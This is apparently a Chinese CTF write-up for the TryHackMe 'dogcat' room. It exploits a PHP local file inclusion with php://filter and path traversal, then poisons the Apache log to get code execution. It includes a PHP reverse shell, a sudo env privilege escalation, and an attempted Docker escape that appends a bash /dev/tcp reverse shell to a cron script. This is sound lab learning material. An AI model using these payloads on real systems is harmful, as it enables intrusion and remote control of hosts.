tryhackme dogcat

信息收集

1.nmap扫描端口开放情况:nmap 10.10.252.3 ,观察到22、80端口开放。

image-20230627204431306

2.dirsearch扫描目录文件:python3 dirsearch.py -u http://10.10.252.3,得到flag.php

image-20230627204540827

漏洞利用

1.进去访问index.php页面,点击dog发现view参数:

image-20230627204856093

2.根据页面报错信息可以发现用了include函数进行文件包含,而且参数值必须包含dog或cat,利用目录穿越配合php://filter读取页面base64加密的源码:

image-20230627205106616

3.先读取flag.php得到第一个flag:THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

image-20230627205236076

4.根据读取到的源码进行代码审计:

//index.php
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

5.能看到可以控制$ext参数文件后缀,$view控制文件名。传递参数尝试读取/etc/passwd?view=php://filter/convert.base64-encode/resource=/var/www/html/dogs/../../../../../../etc/passwd&ext=

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

6.信息收集可以发现22端口是开放的,那么就尝试读取/etc/shadow的密码,读取失败应该是权限不足。那么就需要尝试用文件读取漏洞来getshell,原本想用php://input来读取文件数据流的,但是由于必须包含dogcat,那么这条路就行不通了。尝试读取启动命令:?view=php://filter/convert.base64-encode/resource=/var/www/html/dogs/../../../../../../proc/self/cmdline&ext=

image-20230627211816040

7.解密发现为Apache2容器,尝试使用文件包含来getshell,利用user-agent写日志shell。由于这里我爆破了目录,导致数据很多,于是重新开一下容器。

image-20230627215347856

8.各类语言反弹shell可参考这篇文章:https://blog.youkuaiyun.com/qq_41672971/article/details/128452909,执行php反弹shell命令:php -r '$sock=fsockopen("10.18.20.183",2333);exec("/bin/bash -i <&3 >&3 2>&3");',为了避免报错,最好进行url编码一下。

image-20230627220718168

9.利用find / -name flag*目录找到第二个flag,在/var/www目录下:

image-20230627220942609

权限提升

1.需要提升到root权限获取剩下的flag,执行命令sudo -l ,发现env命令没有密码。

image-20230627221221512

2.这里直接使用env提权即可:sudo env /bin/sh

image-20230627221451879

3.然后再/root目录下找到flag3.txt,直接读取即可:

image-20230627221704416

docker逃逸

1.还有最后一个flag,根据题目提示,接下来的就是容器逃逸了。这个属实不会,找个文章学习一下。文章链接:https://xz.aliyun.com/t/12495#toc-1。

2.大概就是当我们docker容器内拥有宿主机文件读写权限,或者主机挂载文件,可以通过写ssh密钥、cron计划任务反弹shell等方式来达到逃逸。首先判断一下是否为docker容器:ls -all,发现.dockerenv文件。

image-20230627222813316

3.那就先来寻找是否有与宿主机关联的文件,在opt/backups目录下发现一个备份脚本backup.sh,似乎主机在通过cron来定时备份它:

image-20230627224147831

4.那我们就能将反弹shell语句写入该backup.sh脚本中,这样主机在计划任务备份时,就能执行该命令反弹shell了。执行echo "bash -i >& /dev/tcp/10.18.20.183/6666 0&>1" >>backup.sh,主机执行nc -lvnp 6666

image-20230627225928163

5.这里出现问题了,可以发现命令执行了,但是shell却连接不上,连着换了几个端口也是一样的,所以这步就跳过了。
image-20230627225844605

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值